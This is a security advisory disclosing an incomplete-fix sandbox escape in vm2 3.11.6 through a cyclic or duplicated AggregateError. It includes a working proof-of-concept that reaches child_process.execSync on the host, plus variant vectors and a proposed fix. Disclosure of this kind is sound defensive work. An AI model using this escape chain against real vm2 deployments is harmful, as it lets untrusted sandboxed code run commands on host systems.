vm2 3.11.6 (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit 7e3faaf). Sandbox code that catches a host-wrapped AggregateError which is revisited within a single handleException traversal (self-cycle, mutual-cycle, or the same host aggregate referenced twice in errors[]) receives a live, unsanitized host proxy inside the "sanitized" errors[], yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize.
handleException (lib/setup-sandbox.js) breaks recursion cycles at line 1819 with if (apply(localWeakMapGet, visited, [e])) return e; — returning the RAW host carrier on revisit. For plain-Error carriers this is safe because sanitizeErrorCause/sanitizeHostOwnProps seal the host object in place on first visit. But sanitizeAggregateError (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh LocalAggregateError and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via sanitizedArr[sanitizedArr.length] = handleException(item, visited) (line 1965) into the "sanitized" errors[].
Full host RCE (child_process.execSync) and host info disclosure (process.env, .pid) from within the vm2 sandbox — a complete sandbox escape on the caught-exception (throw) channel.
const {VM} = require('vm2');
const vm = new VM({ sandbox: { hostThrow(){
const shared = new AggregateError([], 'shared');
shared.leak = process; // incidental host ref
throw new AggregateError([shared, shared], 'all failed'); // same host obj twice
}}});
console.log(vm.run(`
try { hostThrow(); } catch (e) {
e.errors[1].leak.mainModule.require('child_process').execSync('id').toString();
}`)); // -> uid=1000(...) host RCE
Confirmed vectors (all return real id output): AggregateError self-cycle (agg.errors=[agg]; agg.leak=process), duplicate-in-array ([shared,shared]), mutual-cycle (a.errors=[b]; b.errors=[a]), and nested mutual/duplicated host sub-AggregateError.
AggregateError carrying a host reference in a rebuild-surviving slot plus a revisit trigger (agg.errors=[agg]; agg.leak=process). Guard: none at entry (throwing from an exposed host fn is normal). Bypass proof: same entry class as GHSA-m283-3h24-438v (embedder-exposed throwing fn, docs/ATTACKS.md Category 38), accepted in scope.try{hostThrow()}catch(e){…}; transformer routes e through handleException. Guard: Defense Invariant #3 (Aggregate/Suppressed nested fields sanitized with cycle detection). Bypass proof: handleException(agg) marks agg visited (1820); proto-walk routes to sanitizeAggregateError (1865); host-wrapped branch reads agg.errors and calls handleException(agg, visited) on element 0 (1965); that inner call hits visited.get(agg)===true → return e (1819) → raw agg proxy pushed into sanitizedArr → becomes newAgg.errors[0]. The rebuild does NOT seal agg in place, so the returned proxy is fully live.e.errors[0].leak.mainModule.require('child_process').execSync('id'). Guard: bridge get wraps host values. Bypass proof: the wrap is functional, not capability-restricting; instrumented trace shows e.errors[0].isProxy===true yet the chain executes and returns real uid=1000(ubuntu)....process.env/.pid disclosure.Executed on node v22.23, vm2 3.11.6:
throw new Error('x',{cause:process}) (plain Error .cause) → BLOCKEDe.leak=process (non-cyclic) → BLOCKEDAggregateError w/ own-prop or single host sub-error leak → BLOCKEDuid=1000(ubuntu)…)Every non-cyclic shape and the exact baseline cause vector are blocked; only the revisited host AggregateError leaks — proving the fix is present but this input shape evades it (INCOMPLETE FIX BYPASS, not a duplicate). Instrumented trace: outerLeakType="undefined" (outer rebuilt safe), isErrors0Proxy=true (element 0 is a live host proxy), rce=uid=1000(ubuntu)….
<= 3.11.6. The bug exists from the sanitization fix (7e3faaf, tag 3.11.6) onward — an incomplete-fix bypass exists only where the fix exists. git diff 3.11.6 HEAD -- lib/setup-sandbox.js is empty (HEAD identical).
This advisory covers the AggregateError family only. A SuppressedError variant does NOT reproduce (se.error returns undefined; RCE blocked) and is excluded.
On the cycle short-circuit (line 1819), return the memoized sandbox-realm replacement (keyed in visited) rather than the raw carrier; OR seal host-wrapped AggregateError/SuppressedError carriers in place before recursing into sub-errors, mirroring the plain-carrier sanitizeHostOwnProps invariant.
Reported by zx (Jace) — GitHub: @manus-use
{
"cwe_ids": [
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T22:38:04Z",
"nvd_published_at": null,
"severity": "CRITICAL"
}